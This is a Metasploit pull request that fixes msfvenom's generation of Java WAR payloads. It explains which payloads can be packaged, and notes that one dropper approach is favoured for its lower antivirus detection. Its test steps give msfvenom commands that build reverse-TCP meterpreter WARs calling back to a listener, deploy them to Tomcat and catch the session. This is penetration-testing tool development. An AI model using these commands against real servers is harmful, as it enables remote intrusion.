Meatballs1/metasploit-framework — pull request #30 by jvazquez-r7 (2013-12-29 14:44:01+00:00)
Title: Fix msfvenom when generating java payloads

This pull request tries to fix the msfvenom failures found while processing https://github.com/rapid7/metasploit-framework/pull/2794

At this moment msfvenom should be able to create WAR payloads in these situations:

2) creating a war from a Java .class payload (like java/meterpreter/reverse_tcp) - should put the classes into war together with PayloadServlet.class from JavaPayload)
3) creating a war from a native payload (like windows/meterpreter/reverse_tcp or linux/x86/shell/reverse_tcp) - should exec the binary with a .jsp dropper (using the .class dropper from JavaPayload should work too - or even better in case on-demand JSP compilation is disabled on the server - but results in a drastically higher AV detection rate due to the many static .class files added, therefore using the JSP route is preferred - as long as there is no Class crypter support in Metasploit :D).

But not:

1) creating a war from a jsp payload (like java/jsp_shell_reverse_tcp) - should just put the .jsp into the .war

It shouldn't create a war payload form a jsp because: a) jsp_shell_reverse_tcp isn't a native payload b) even when jsp_shell_reverse_tcp is a JAVA platform payload, it doesn't provide a generate_war method.

msfpayload isn't capable of create a war from jsp_shell_reverse_tcp neither according to my tests.

I will work on adding a generate_war for the jsp_shell_* payloads because as @schierlm has all the sense.

* Verification:

- [ ] create a war from a Java .class payload (like java/meterpreter/reverse_tcp)

```
./msfvenom -p java/meterpreter/reverse_tcp -f war LHOST=192.168.172.1 LPORT=4444 > /tmp/app.war
```

- [ ] Deploy the WAR on a tomcat server
- [ ] Run the msfconsole, run the exploit/multi/handler module, set the java payload and hopefully enjoy a session when running the payload
- [ ] create a war from a native payload (like windows/meterpreter/reverse_tcp)

```
./msfvenom -p windows/meterpreter/reverse_tcp -f war LHOST=192.168.172.1 LPORT=4444 > /tmp/app2.war
```

- [ ] Deploy the WAR on a tomcat server running JAVA <7u21(patched version)
- [ ] Run the msfconsole, run the exploit/multi/handler module, set the native payload and hopefully enjoy a session when running the payload
- [ ] Deploy the WAR on a tomcat server running JAVA >7u21
- [ ] Run the msfconsole, run the exploit/multi/handler module, set the native payload and hopefully enjoy a session when running the payload